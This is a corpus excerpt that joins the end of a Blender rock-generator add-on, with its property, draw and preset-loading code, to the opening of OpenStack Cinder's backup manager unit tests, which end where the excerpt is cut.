"XYZ scaling factor. 1 = no scaling.", min = 0.0001, max = 256.0, step = 0.1, default = defaults[8], size = 3) # @todo Possible to title this section "Physical Properties:"? deform = FloatProperty(name = "Deformation", description = "Rock deformation", min = 0.0, max = 1024.0, default = defaults[9]) rough = FloatProperty(name = "Roughness", description = "Rock roughness", min = 0.0, max = 1024.0, default = defaults[10]) detail = IntProperty(name = "Detail level", description = "Detail level. WARNING: Slow at high values!", min = 1, max = 1024, default = defaults[11]) display_detail = IntProperty(name = "Display Detail", description = "Display detail. Use a lower value for high numbers of rocks.", min = 1, max = 128, default = defaults[12]) smooth_fac = FloatProperty(name = "Smooth Factor", description = "Smoothing factor. A value of 0 disables.", min = 0.0, max = 128.0, default = defaults[13]) smooth_it = IntProperty(name = "Smooth Iterations", description = "Smoothing iterations. A value of 0 disables.", min = 0, max = 128, default = defaults[14]) # @todo Add material properties mat_enable = BoolProperty(name = "Generate materials", description = "Generate materials and textures for the rocks", default = defaults[15]) mat_color = FloatVectorProperty(name = "Color", description = "Base color settings (RGB)", min = 0.0, max = 1.0, default = defaults[16], size = 3, subtype = 'COLOR') mat_bright = FloatProperty(name = "Brightness", description = "Material brightness", min = 0.0, max = 1.0, default = defaults[17]) mat_rough = FloatProperty(name = "Roughness", description = "Material roughness", min = 0.0, max = 5.0, default = defaults[18]) mat_spec = FloatProperty(name = "Shine", description = "Material specularity strength", min = 0.0, max = 1.0, default = defaults[19]) mat_hard = IntProperty(name = "Hardness", description = "Material hardness", min = 0, max = 511, default = defaults[20]) mat_use_trans = BoolProperty(name = "Use Transparency", description = "Enables transparency in rocks (WARNING: SLOW RENDER TIMES)", default = defaults[21]) mat_alpha = FloatProperty(name = "Alpha", description = "Transparency of the rocks", min = 0.0, max = 1.0, default = defaults[22]) mat_cloudy = FloatProperty(name = "Cloudy", description = "How cloudy the transparent rocks look", min = 0.0, max = 1.0, default = defaults[23]) mat_IOR = FloatProperty(name = "IoR", description = "Index of Refraction", min = 0.25, max = 4.0, soft_max = 2.5, default = defaults[24]) mat_mossy = FloatProperty(name = "Mossiness", description = "Amount of mossiness on the rocks", min = 0.0, max = 1.0, default = defaults[25]) use_generate = BoolProperty(name = "Generate Rocks", description = "Enable actual generation.", default = defaults[26]) use_random_seed = BoolProperty(name = "Use a random seed", description = "Create a seed based on time. Causes user seed to be ignored.", default = defaults[27]) user_seed = IntProperty(name = "User seed", description = "Use a specific seed for the generator.", min = 0, max = 1048576, default = defaults[28]) def draw(self, context): layout = self.layout box = layout.box() box.prop(self, 'num_of_rocks') box = layout.box() box.prop(self, 'scale_X') box.prop(self, 'skew_X') box.prop(self, 'scale_Y') box.prop(self, 'skew_Y') box.prop(self, 'scale_Z') box.prop(self, 'skew_Z') box.prop(self, 'use_scale_dis') if self.use_scale_dis: box.prop(self, 'scale_fac') else: self.scale_fac = utils.toFloats(self.defaults[8]) box = layout.box() box.prop(self, 'deform') box.prop(self, 'rough') box.prop(self, 'detail') box.prop(self, 'display_detail') box.prop(self, 'smooth_fac') box.prop(self, 'smooth_it') box = layout.box() box.prop(self, 'mat_enable') if self.mat_enable: box.prop(self, 'mat_color') box.prop(self, 'mat_bright') box.prop(self, 'mat_rough') box.prop(self, 'mat_spec') box.prop(self, 'mat_hard') box.prop(self, 'mat_use_trans') if self.mat_use_trans: box.prop(self, 'mat_alpha') box.prop(self, 'mat_cloudy') box.prop(self, 'mat_IOR') box.prop(self, 'mat_mossy') box = layout.box() box.prop(self, 'use_generate') box.prop(self, 'use_random_seed') if not self.use_random_seed: box.prop(self, 'user_seed') box.prop(self, 'preset_values') def execute(self, context): # The following "if" block loads preset values: if self.lastPreset != int(self.preset_values): self.scale_X = utils.toFloats(self.presetsList[int(self.preset_values)][1]) self.scale_Y = utils.toFloats(self.presetsList[int(self.preset_values)][2]) self.scale_Z = utils.toFloats(self.presetsList[int(self.preset_values)][3]) self.skew_X = float(self.presetsList[int(self.preset_values)][4]) self.skew_Y = float(self.presetsList[int(self.preset_values)][5]) self.skew_Z = float(self.presetsList[int(self.preset_values)][6]) self.use_scale_dis = bool(self.presetsList[int(self.preset_values)][7]) self.scale_fac = utils.toFloats(self.presetsList[int(self.preset_values)][8]) self.deform = float(self.presetsList[int(self.preset_values)][9]) self.rough = float(self.presetsList[int(self.preset_values)][10]) self.detail = int(self.presetsList[int(self.preset_values)][11]) self.display_detail = int(self.presetsList[int(self.preset_values)][12]) self.smooth_fac = float(self.presetsList[int(self.preset_values)][13]) self.smooth_it = int(self.presetsList[int(self.preset_values)][14]) self.mat_enable = bool(self.presetsList[int(self.preset_values)][15]) self.mat_color = utils.toFloats(self.presetsList[int(self.preset_values)][16]) self.mat_bright = float(self.presetsList[int(self.preset_values)][17]) self.mat_rough = float(self.presetsList[int(self.preset_values)][18]) self.mat_spec = float(self.presetsList[int(self.preset_values)][19]) self.mat_hard = int(self.presetsList[int(self.preset_values)][20]) self.mat_use_trans = bool(self.presetsList[int(self.preset_values)][21]) self.mat_alpha = float(self.presetsList[int(self.preset_values)][22]) self.mat_cloudy = float(self.presetsList[int(self.preset_values)][23]) self.mat_IOR = float(self.presetsList[int(self.preset_values)][24]) self.mat_mossy = float(self.presetsList[int(self.preset_values)][25]) self.use_generate = bool(self.presetsList[int(self.preset_values)][26]) self.use_random_seed = bool(self.presetsList[int(self.preset_values)][27]) self.user_seed = int(self.presetsList[int(self.preset_values)][28]) self.lastPreset = int(self.preset_values) # todo Add deform, deform_Var, rough, and rough_Var: # *** todo completed 4/23/2011 *** # *** Eliminated "deform_Var" and "rough_Var" so the script is not # as complex to use. May add in again as advanced features. *** if self.use_generate: generateRocks(context, self.scale_X, self.skew_X, self.scale_Y, self.skew_Y, self.scale_Z, self.skew_Z, self.scale_fac, self.detail, self.display_detail, self.deform, self.rough, self.smooth_fac, self.smooth_it, self.mat_enable, self.mat_color, self.mat_bright, self.mat_rough, self.mat_spec, self.mat_hard, self.mat_use_trans, self.mat_alpha, self.mat_cloudy, self.mat_IOR, self.mat_mossy, self.num_of_rocks, self.user_seed, self.use_scale_dis, self.use_random_seed) return {'FINISHED'}
codeparrot/github-code-clean
# Copyright (C) 2012 Hewlett-Packard Development Company, L.P. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Tests for Backup code.""" import copy import os from unittest import mock import uuid import ddt from eventlet import tpool from os_brick.initiator.connectors import fake as fake_connectors from oslo_config import cfg from oslo_db import exception as db_exc from oslo_service import loopingcall from oslo_utils import importutils from oslo_utils import timeutils import cinder from cinder.backup import api from cinder.backup import manager from cinder import context from cinder import db from cinder import exception from cinder.message import message_field from cinder import objects from cinder.objects import fields from cinder import quota from cinder.tests import fake_driver from cinder.tests.unit.api.v2 import fakes as v2_fakes from cinder.tests.unit import fake_constants as fake from cinder.tests.unit import test from cinder.tests.unit import utils from cinder.volume import rpcapi as volume_rpcapi CONF = cfg.CONF class FakeBackupException(Exception): pass class BaseBackupTest(test.TestCase): def setUp(self): super(BaseBackupTest, self).setUp() self.backup_mgr = importutils.import_object(CONF.backup_manager) self.backup_mgr.host = 'testhost' self.backup_mgr.is_initialized = True self.ctxt = context.get_admin_context() paths = ['cinder.volume.rpcapi.VolumeAPI.delete_snapshot', 'cinder.volume.rpcapi.VolumeAPI.delete_volume', 'cinder.volume.rpcapi.VolumeAPI.detach_volume', 'cinder.volume.rpcapi.VolumeAPI.' 'secure_file_operations_enabled'] self.volume_patches = {} self.volume_mocks = {} for path in paths: name = path.split('.')[-1] self.volume_patches[name] = mock.patch(path) self.volume_mocks[name] = self.volume_patches[name].start() self.addCleanup(self.volume_patches[name].stop) def _create_backup_db_entry(self, volume_id=str(uuid.uuid4()), restore_volume_id=None, display_name='test_backup', display_description='this is a test backup', container='volumebackups', status=fields.BackupStatus.CREATING, size=1, object_count=0, project_id=str(uuid.uuid4()), service=None, temp_volume_id=None, temp_snapshot_id=None, snapshot_id=None, metadata=None, parent_id=None, encryption_key_id=None): """Create a backup entry in the DB. Return the entry ID """ kwargs = {} kwargs['volume_id'] = volume_id kwargs['restore_volume_id'] = restore_volume_id kwargs['user_id'] = str(uuid.uuid4()) kwargs['project_id'] = project_id kwargs['host'] = 'testhost' kwargs['availability_zone'] = '1' kwargs['display_name'] = display_name kwargs['display_description'] = display_description kwargs['container'] = container kwargs['status'] = status kwargs['fail_reason'] = '' kwargs['service'] = service or CONF.backup_driver kwargs['snapshot_id'] = snapshot_id kwargs['parent_id'] = parent_id kwargs['size'] = size kwargs['object_count'] = object_count kwargs['temp_volume_id'] = temp_volume_id kwargs['temp_snapshot_id'] = temp_snapshot_id kwargs['metadata'] = metadata or {} kwargs['encryption_key_id'] = encryption_key_id backup = objects.Backup(context=self.ctxt, **kwargs) backup.create() return backup def _create_volume_db_entry(self, display_name='test_volume', display_description='this is a test volume', status='backing-up', previous_status='available', size=1, host='testhost', encryption_key_id=None, project_id=None): """Create a volume entry in the DB. Return the entry ID """ vol = {} vol['size'] = size vol['host'] = host vol['user_id'] = fake.USER_ID vol['project_id'] = project_id or fake.PROJECT_ID vol['status'] = status vol['display_name'] = display_name vol['display_description'] = display_description vol['attach_status'] = fields.VolumeAttachStatus.DETACHED vol['availability_zone'] = '1' vol['previous_status'] = previous_status vol['encryption_key_id'] = encryption_key_id vol['volume_type_id'] = fake.VOLUME_TYPE_ID volume = objects.Volume(context=self.ctxt, **vol) volume.create() return volume.id def _create_snapshot_db_entry(self, display_name='test_snapshot', display_description='test snapshot', status=fields.SnapshotStatus.AVAILABLE, size=1, volume_id=str(uuid.uuid4()), provider_location=None): """Create a snapshot entry in the DB. Return the entry ID. """ kwargs = {} kwargs['size'] = size kwargs['user_id'] = fake.USER_ID kwargs['project_id'] = fake.PROJECT_ID kwargs['status'] = status kwargs['display_name'] = display_name kwargs['display_description'] = display_description kwargs['volume_id'] = volume_id kwargs['cgsnapshot_id'] = None kwargs['volume_size'] = size kwargs['metadata'] = {} kwargs['provider_location'] = provider_location kwargs['volume_type_id'] = fake.VOLUME_TYPE_ID snapshot_obj = objects.Snapshot(context=self.ctxt, **kwargs) snapshot_obj.create() return snapshot_obj def _create_volume_attach(self, volume_id): values = {'volume_id': volume_id, 'attach_status': fields.VolumeAttachStatus.ATTACHED, } attachment = db.volume_attach(self.ctxt, values) db.volume_attached(self.ctxt, attachment['id'], None, 'testhost', '/dev/vd0') def _create_exported_record_entry(self, vol_size=1, exported_id=None): """Create backup metadata export entry.""" vol_id = self._create_volume_db_entry(status='available', size=vol_size) backup = self._create_backup_db_entry( status=fields.BackupStatus.AVAILABLE, volume_id=vol_id) if exported_id is not None: backup.id = exported_id export = self.backup_mgr.export_record(self.ctxt, backup) return export def _create_export_record_db_entry(self, volume_id=str(uuid.uuid4()), status=fields.BackupStatus.CREATING, project_id=str(uuid.uuid4()), backup_id=None): """Create a backup entry in the DB. Return the entry ID """ kwargs = {} kwargs['volume_id'] = volume_id kwargs['user_id'] = fake.USER_ID kwargs['project_id'] = project_id kwargs['status'] = status if backup_id: kwargs['id'] = backup_id backup = objects.BackupImport(context=self.ctxt, **kwargs) backup.create() return backup @ddt.ddt class BackupTestCase(BaseBackupTest): """Test Case for backups.""" @mock.patch.object(cinder.tests.fake_driver.FakeLoggingVolumeDriver, 'set_initialized') @mock.patch.object(cinder.tests.fake_driver.FakeLoggingVolumeDriver, 'do_setup') @mock.patch.object(cinder.tests.fake_driver.FakeLoggingVolumeDriver, 'check_for_setup_error') @mock.patch.object(cinder.db.sqlalchemy.api, '_volume_type_get_by_name', v2_fakes.fake_volume_type_get) @mock.patch('cinder.context.get_admin_context') def test_init_host(self, mock_get_admin_context, mock_check, mock_setup, mock_set_initialized): """Test stuck volumes and backups. Make sure stuck volumes and backups are reset to correct states when backup_manager.init_host() is called """ def get_admin_context(): return self.ctxt self.override_config('backup_service_inithost_offload', False) self.override_config('periodic_interval', 0) vol1_id = self._create_volume_db_entry() self._create_volume_attach(vol1_id) db.volume_update(self.ctxt, vol1_id, {'status': 'backing-up'}) vol2_id = self._create_volume_db_entry() self._create_volume_attach(vol2_id) db.volume_update(self.ctxt, vol2_id, {'status': 'restoring-backup'}) vol3_id = self._create_volume_db_entry() db.volume_update(self.ctxt, vol3_id, {'status': 'available'}) vol4_id = self._create_volume_db_entry() db.volume_update(self.ctxt, vol4_id, {'status': 'backing-up'}) temp_vol_id = self._create_volume_db_entry() db.volume_update(self.ctxt, temp_vol_id, {'status': 'available'}) vol5_id = self._create_volume_db_entry() db.volume_update(self.ctxt, vol5_id, {'status': 'backing-up'}) temp_snap = self._create_snapshot_db_entry() temp_snap.status = fields.SnapshotStatus.AVAILABLE temp_snap.save() backup1 = self._create_backup_db_entry( status=fields.BackupStatus.CREATING, volume_id=vol1_id) backup2 = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, restore_volume_id=vol2_id) backup3 = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol3_id) self._create_backup_db_entry(status=fields.BackupStatus.CREATING, volume_id=vol4_id, temp_volume_id=temp_vol_id) self._create_backup_db_entry(status=fields.BackupStatus.CREATING, volume_id=vol5_id, temp_snapshot_id=temp_snap.id) mock_get_admin_context.side_effect = get_admin_context self.volume = importutils.import_object(CONF.volume_manager) self.backup_mgr.init_host() vol1 = db.volume_get(self.ctxt, vol1_id) self.assertEqual('available', vol1['status']) vol2 = db.volume_get(self.ctxt, vol2_id) self.assertEqual('error_restoring', vol2['status']) vol3 = db.volume_get(self.ctxt, vol3_id) self.assertEqual('available', vol3['status']) vol4 = db.volume_get(self.ctxt, vol4_id) self.assertEqual('available', vol4['status']) vol5 = db.volume_get(self.ctxt, vol5_id) self.assertEqual('available', vol5['status']) backup1 = db.backup_get(self.ctxt, backup1.id) self.assertEqual(fields.BackupStatus.ERROR, backup1['status']) backup2 = db.backup_get(self.ctxt, backup2.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup2['status']) self.assertRaises(exception.BackupNotFound, db.backup_get, self.ctxt, backup3.id) temp_vol = objects.Volume.get_by_id(self.ctxt, temp_vol_id) self.volume_mocks['delete_volume'].assert_called_once_with( self.ctxt, temp_vol) self.assertTrue(self.volume_mocks['detach_volume'].called) @mock.patch('cinder.objects.backup.BackupList.get_all_by_host') @mock.patch('cinder.manager.ThreadPoolManager._add_to_threadpool') def test_init_host_with_service_inithost_offload(self, mock_add_threadpool, mock_get_all_by_host): vol1_id = self._create_volume_db_entry() db.volume_update(self.ctxt, vol1_id, {'status': 'available'}) backup1 = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol1_id) vol2_id = self._create_volume_db_entry() db.volume_update(self.ctxt, vol2_id, {'status': 'available'}) backup2 = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol2_id) mock_get_all_by_host.return_value = [backup1, backup2] self.backup_mgr.init_host() calls = [mock.call(self.backup_mgr.delete_backup, mock.ANY, backup1), mock.call(self.backup_mgr.delete_backup, mock.ANY, backup2)] mock_add_threadpool.assert_has_calls(calls, any_order=True) # 3 calls because 1 is always made to handle encryption key migration. self.assertEqual(3, mock_add_threadpool.call_count) @mock.patch('cinder.keymgr.migration.migrate_fixed_key') @mock.patch('cinder.objects.BackupList.get_all_by_host') @mock.patch('cinder.manager.ThreadPoolManager._add_to_threadpool') def test_init_host_key_migration(self, mock_add_threadpool, mock_get_all_by_host, mock_migrate_fixed_key): self.backup_mgr.init_host() mock_add_threadpool.assert_called_once_with( mock_migrate_fixed_key, backups=mock_get_all_by_host()) @mock.patch('oslo_service.loopingcall.FixedIntervalLoopingCall') @ddt.data(123456, 654321) def test_setup_backup_backend_uses_new_config( self, new_cfg_value, mock_FILC): # previously used CONF.periodic_interval; see Bug #1828748 new_cfg_name = 'backup_driver_init_check_interval' self.addCleanup(CONF.clear_override, new_cfg_name) CONF.set_override(new_cfg_name, new_cfg_value) mock_init_loop = mock.MagicMock() mock_init_loop.start.side_effect = loopingcall.LoopingCallDone() mock_FILC.return_value = mock_init_loop self.backup_mgr.setup_backup_backend(self.ctxt) mock_init_loop.start.assert_called_once_with(interval=new_cfg_value) @mock.patch('cinder.objects.service.Service.get_minimum_rpc_version') @mock.patch('cinder.objects.service.Service.get_minimum_obj_version') @mock.patch('cinder.rpc.LAST_RPC_VERSIONS', {'cinder-backup': '1.3', 'cinder-volume': '1.7'}) def test_reset(self, get_min_obj, get_min_rpc): old_version = objects.base.OBJ_VERSIONS.versions[-2] with mock.patch('cinder.rpc.LAST_OBJ_VERSIONS', {'cinder-volume': old_version, 'cinder-scheduler': old_version, 'cinder-backup': old_version}): backup_mgr = manager.BackupManager() backup_rpcapi = backup_mgr.backup_rpcapi volume_rpcapi = backup_mgr.volume_rpcapi self.assertEqual('1.3', backup_rpcapi.client.version_cap) self.assertEqual(old_version, backup_rpcapi.client.serializer._base.version_cap) self.assertEqual('1.7', volume_rpcapi.client.version_cap) self.assertEqual(old_version, volume_rpcapi.client.serializer._base.version_cap) get_min_obj.return_value = objects.base.OBJ_VERSIONS.get_current() backup_mgr.reset() backup_rpcapi = backup_mgr.backup_rpcapi volume_rpcapi = backup_mgr.volume_rpcapi self.assertEqual(get_min_rpc.return_value, backup_rpcapi.client.version_cap) self.assertEqual(get_min_obj.return_value, backup_rpcapi.client.serializer._base.version_cap) self.assertIsNone(backup_rpcapi.client.serializer._base.manifest) self.assertEqual(get_min_rpc.return_value, volume_rpcapi.client.version_cap) self.assertEqual(get_min_obj.return_value, volume_rpcapi.client.serializer._base.version_cap) self.assertIsNone(volume_rpcapi.client.serializer._base.manifest) @ddt.data(True, False) def test_is_working(self, initialized): self.backup_mgr.is_initialized = initialized self.assertEqual(initialized, self.backup_mgr.is_working()) def test_cleanup_incomplete_backup_operations_with_exceptions(self): """Test cleanup resilience in the face of exceptions.""" fake_backup_list = [{'id': fake.BACKUP_ID}, {'id': fake.BACKUP2_ID}, {'id': fake.BACKUP3_ID}] mock_backup_get_by_host = self.mock_object( objects.BackupList, 'get_all_by_host') mock_backup_get_by_host.return_value = fake_backup_list mock_backup_cleanup = self.mock_object( self.backup_mgr, '_cleanup_one_backup') mock_backup_cleanup.side_effect = [Exception] mock_temp_cleanup = self.mock_object( self.backup_mgr, '_cleanup_temp_volumes_snapshots_for_one_backup') mock_temp_cleanup.side_effect = [Exception] self.assertIsNone( self.backup_mgr._cleanup_incomplete_backup_operations( self.ctxt)) self.assertEqual(len(fake_backup_list), mock_backup_cleanup.call_count) self.assertEqual(len(fake_backup_list), mock_temp_cleanup.call_count) @mock.patch('cinder.objects.BackupList') @mock.patch.object(manager.BackupManager, '_cleanup_one_backup') @mock.patch.object(manager.BackupManager, '_cleanup_temp_volumes_snapshots_for_one_backup') def test_cleanup_non_primary_process(self, temp_cleanup_mock, backup_cleanup_mock, backup_ovo_mock): """Test cleanup doesn't run on non primary processes.""" self.backup_mgr._process_number = 2 self.backup_mgr._cleanup_incomplete_backup_operations(self.ctxt) backup_ovo_mock.get_all_by_host.assert_not_called() backup_cleanup_mock.assert_not_called() temp_cleanup_mock.assert_not_called() def test_cleanup_one_backing_up_volume(self): """Test cleanup_one_volume for volume status 'backing-up'.""" volume_id = self._create_volume_db_entry(status='backing-up', previous_status='available') volume = db.volume_get(self.ctxt, volume_id) self.backup_mgr._cleanup_one_volume(self.ctxt, volume) volume = db.volume_get(self.ctxt, volume_id) self.assertEqual('available', volume['status']) def test_cleanup_one_restoring_backup_volume(self): """Test cleanup_one_volume for volume status 'restoring-backup'.""" volume_id = self._create_volume_db_entry(status='restoring-backup') volume = db.volume_get(self.ctxt, volume_id) self.backup_mgr._cleanup_one_volume(self.ctxt, volume) volume = db.volume_get(self.ctxt, volume_id) self.assertEqual('error_restoring', volume['status']) def test_cleanup_one_creating_backup(self): """Test cleanup_one_backup for volume status 'creating'.""" vol1_id = self._create_volume_db_entry() self._create_volume_attach(vol1_id) db.volume_update(self.ctxt, vol1_id, {'status': 'backing-up', }) backup = self._create_backup_db_entry( status=fields.BackupStatus.CREATING, volume_id=vol1_id) self.backup_mgr._cleanup_one_backup(self.ctxt, backup) self.assertEqual(fields.BackupStatus.ERROR, backup.status) volume = objects.Volume.get_by_id(self.ctxt, vol1_id) self.assertEqual('available', volume.status) def test_cleanup_one_restoring_backup(self): """Test cleanup_one_backup for volume status 'restoring'.""" vol1_id = self._create_volume_db_entry() db.volume_update(self.ctxt, vol1_id, {'status': 'restoring-backup', }) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, restore_volume_id=vol1_id) self.backup_mgr._cleanup_one_backup(self.ctxt, backup) self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) volume = objects.Volume.get_by_id(self.ctxt, vol1_id) self.assertEqual('error_restoring', volume.status) def test_cleanup_one_deleting_backup(self): """Test cleanup_one_backup for backup status 'deleting'.""" self.override_config('backup_service_inithost_offload', False) backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING) self.backup_mgr._cleanup_one_backup(self.ctxt, backup) self.assertRaises(exception.BackupNotFound, db.backup_get, self.ctxt, backup.id) def test_cleanup_one_deleting_encrypted_backup(self): """Test cleanup of backup status 'deleting' (encrypted).""" self.override_config('backup_service_inithost_offload', False) backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, encryption_key_id=fake.ENCRYPTION_KEY_ID) self.backup_mgr._cleanup_one_backup(self.ctxt, backup) backup = db.backup_get(self.ctxt, backup.id) self.assertIsNotNone(backup) self.assertEqual(fields.BackupStatus.ERROR_DELETING, backup.status) def test_detach_all_attachments_handles_exceptions(self): """Test detach_all_attachments with exceptions.""" mock_log = self.mock_object(manager, 'LOG') self.volume_mocks['detach_volume'].side_effect = [Exception] fake_attachments = [ { 'id': fake.ATTACHMENT_ID, 'attached_host': 'testhost', 'instance_uuid': None, }, { 'id': fake.ATTACHMENT2_ID, 'attached_host': 'testhost', 'instance_uuid': None, } ] fake_volume = { 'id': fake.VOLUME3_ID, 'volume_attachment': fake_attachments } self.backup_mgr._detach_all_attachments(self.ctxt, fake_volume) self.assertEqual(len(fake_attachments), mock_log.exception.call_count) @ddt.data(KeyError, exception.VolumeNotFound) def test_cleanup_temp_volumes_snapshots_for_one_backup_volume_not_found( self, err): """Ensure we handle missing volume for a backup.""" mock_volume_get = self.mock_object(db, 'volume_get') mock_volume_get.side_effect = [err] backup = self._create_backup_db_entry( status=fields.BackupStatus.CREATING) self.assertIsNone( self.backup_mgr._cleanup_temp_volumes_snapshots_for_one_backup( self.ctxt, backup)) def test_cleanup_temp_snapshot_for_one_backup_not_found(self): """Ensure we handle missing temp snapshot for a backup.""" vol1_id = self._create_volume_db_entry() self._create_volume_attach(vol1_id) db.volume_update(self.ctxt, vol1_id, {'status': 'backing-up'}) backup = self._create_backup_db_entry( status=fields.BackupStatus.ERROR, volume_id=vol1_id, temp_snapshot_id=fake.SNAPSHOT_ID) self.assertIsNone( self.backup_mgr._cleanup_temp_volumes_snapshots_for_one_backup( self.ctxt, backup)) self.assertFalse(self.volume_mocks['delete_snapshot'].called) self.assertIsNone(backup.temp_snapshot_id) backup.destroy() db.volume_destroy(self.ctxt, vol1_id) def test_cleanup_temp_volume_for_one_backup_not_found(self): """Ensure we handle missing temp volume for a backup.""" vol1_id = self._create_volume_db_entry() self._create_volume_attach(vol1_id) db.volume_update(self.ctxt, vol1_id, {'status': 'backing-up'}) backup = self._create_backup_db_entry(status=fields.BackupStatus.ERROR, volume_id=vol1_id, temp_volume_id=fake.VOLUME4_ID) self.assertIsNone( self.backup_mgr._cleanup_temp_volumes_snapshots_for_one_backup( self.ctxt, backup)) self.assertFalse(self.volume_mocks['delete_volume'].called) self.assertIsNone(backup.temp_volume_id) backup.destroy() db.volume_destroy(self.ctxt, vol1_id) def test_create_backup_with_bad_volume_status(self): """Test creating a backup from a volume with a bad status.""" vol_id = self._create_volume_db_entry(status='restoring', size=1) backup = self._create_backup_db_entry(volume_id=vol_id) self.assertRaises(exception.InvalidVolume, self.backup_mgr.create_backup, self.ctxt, backup) def test_create_backup_with_bad_backup_status(self): """Test creating a backup with a backup with a bad status.""" vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.AVAILABLE, volume_id=vol_id) self.assertRaises(exception.InvalidBackup, self.backup_mgr.create_backup, self.ctxt, backup) def test_create_backup_with_error(self): """Test error handling when error occurs during backup creation.""" vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry(volume_id=vol_id) mock_run_backup = self.mock_object(self.backup_mgr, '_start_backup') mock_run_backup.side_effect = FakeBackupException(str(uuid.uuid4())) self.assertRaises(FakeBackupException, self.backup_mgr.create_backup, self.ctxt, backup) vol = db.volume_get(self.ctxt, vol_id) self.assertEqual('available', vol['status']) self.assertEqual('error_backing-up', vol['previous_status']) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.ERROR, backup['status']) self.assertTrue(mock_run_backup.called) @mock.patch('cinder.backup.manager.BackupManager._start_backup') def test_create_backup_aborted(self, start_backup_mock): """Test error handling when abort occurs during backup creation.""" def my_start_backup(*args, **kwargs): backup.destroy() with backup.as_read_deleted(): original_refresh() start_backup_mock.side_effect = my_start_backup vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry(volume_id=vol_id) original_refresh = backup.refresh vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.backup_mgr.create_backup(self.ctxt, backup) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.backup_mgr._finish_backup(self.ctxt, backup, vol, {}) self.assertTrue(start_backup_mock.called) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual('available', vol.status) self.assertEqual('backing-up', vol['previous_status']) # Make sure we didn't set the backup to available after it was deleted with backup.as_read_deleted(): backup.refresh() self.assertEqual(fields.BackupStatus.DELETED, backup.status) @mock.patch('cinder.backup.manager.BackupManager._start_backup', side_effect=FakeBackupException(str(uuid.uuid4()))) def test_create_backup_with_snapshot_error(self, mock_start_backup): """Test error handling when error occurs during backup creation.""" vol_id = self._create_volume_db_entry(size=1) snapshot = self._create_snapshot_db_entry(status='backing-up', volume_id=vol_id) backup = self._create_backup_db_entry(volume_id=vol_id, snapshot_id=snapshot.id) self.assertRaises(FakeBackupException, self.backup_mgr.create_backup, self.ctxt, backup) snapshot.refresh() self.assertEqual('available', snapshot.status) backup.refresh() self.assertEqual(fields.BackupStatus.ERROR, backup.status) self.assertTrue(mock_start_backup.called) @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open', wraps=open) @mock.patch.object(os.path, 'isdir', return_value=False) def test_create_backup(self, mock_isdir, mock_open, mock_temporary_chown, mock_get_backup_device, mock_get_conn): """Test normal backup creation.""" vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size) backup = self._create_backup_db_entry(volume_id=vol_id) vol = objects.Volume.get_by_id(self.ctxt, vol_id) backup_device_dict = {'backup_device': vol, 'secure_enabled': False, 'is_snapshot': False, } mock_backup_device = ( objects.BackupDeviceInfo.from_primitive(backup_device_dict, self.ctxt, ['admin_metadata', 'metadata'])) attach_info = {'device': {'path': '/dev/null'}} mock_detach_device = self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = attach_info properties = {} mock_get_conn.return_value = properties self.backup_mgr.create_backup(self.ctxt, backup) self.backup_mgr.continue_backup(self.ctxt, backup, mock_backup_device) mock_temporary_chown.assert_called_once_with('/dev/null') mock_attach_device.assert_called_once_with(self.ctxt, vol, properties, False) mock_get_backup_device.assert_called_once_with(self.ctxt, backup, vol) mock_get_conn.assert_called_once_with() mock_detach_device.assert_called_once_with(self.ctxt, attach_info, vol, properties, False, force=True, ignore_errors=True) mock_open.assert_called_once_with('/dev/null', 'rb') vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual('available', vol['status']) self.assertEqual('backing-up', vol['previous_status']) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) self.assertEqual(vol_size, backup['size']) self.assertIsNone(backup.encryption_key_id) @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open') @mock.patch.object(os.path, 'isdir', return_value=True) def test_create_backup_set_parent_id_to_none(self, mock_isdir, mock_open, mock_chown, mock_backup_device, mock_brick): vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size) backup = self._create_backup_db_entry(volume_id=vol_id, parent_id='mock') with mock.patch.object(self.backup_mgr, 'service') as \ mock_service: mock_service.return_value.backup.return_value = ( {'parent_id': None}) with mock.patch.object(self.backup_mgr, '_detach_device'): device_path = '/fake/disk/path/' attach_info = {'device': {'path': device_path}} mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = attach_info properties = {} mock_brick.return_value = properties mock_open.return_value = open('/dev/null', 'rb') mock_brick.return_value = properties self.backup_mgr.create_backup(self.ctxt, backup) self.backup_mgr.continue_backup(self.ctxt, backup, mock_backup_device) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) self.assertEqual(vol_size, backup.size) self.assertIsNone(backup.parent_id) 